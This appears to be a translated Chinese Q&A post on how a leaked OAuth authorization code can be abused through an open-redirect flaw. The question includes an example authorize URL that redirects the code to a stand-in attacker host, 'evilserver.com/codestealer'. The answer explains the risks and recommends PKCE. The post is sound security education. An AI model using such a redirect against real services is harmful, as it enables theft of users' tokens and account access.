泄漏的中间OAuth授权代码有哪些危险?

时间:2017-12-01 00:19:51

标签: security oauth-2.0

假设用户想要授权mykittenblog.com代表他拨打电话到payment.com。 mykittenblog.com让人们像在这样登录payment.com

payment.com/oauth2/authorize?id=12345&redirect=http://mykittenblog.com

因此,payment.com可以使用mykittenblog.com可以与其客户端密码一起使用的中间身份验证代码进行响应,以在payment.com上检索OAuth持票人令牌

现在'redirect'参数有一个开放的重定向漏洞,允许泄漏授权代码。

如果用户登录

payment.com/oauth2/authorize?id=12345&redirect=http://evilserver.com/codestealer

payment.com将以

回复
Location: http://evilserver.com/codestealer?code=4312871236481723874

在这种情况下可能存在哪些危险?

1 个答案:

答案 0 :(得分:1)

如果中间授权代码被恶意应用程序窃取,则它将能够发出访问令牌并获取对资源的访问权限。如果还发出刷新令牌,那么它将能够随时更新该访问令牌。

如果您的客户端是机密的,那么泄漏是有限的(但并非不可能),因为恶意客户端必须获取您的应用程序凭据。

它们是防止代码泄漏的反措施。 重定向uris的注册是一个良好的开端,但还不够。 另一种方法是使用RFC7636中描述的代码交换证明密钥。如果没有这个PKCE,恶意应用程序就不可能发出访问令牌,因为挑战不容易被猜到。

从我的观点来看,应该始终使用PKCE,而不仅限于公共客户。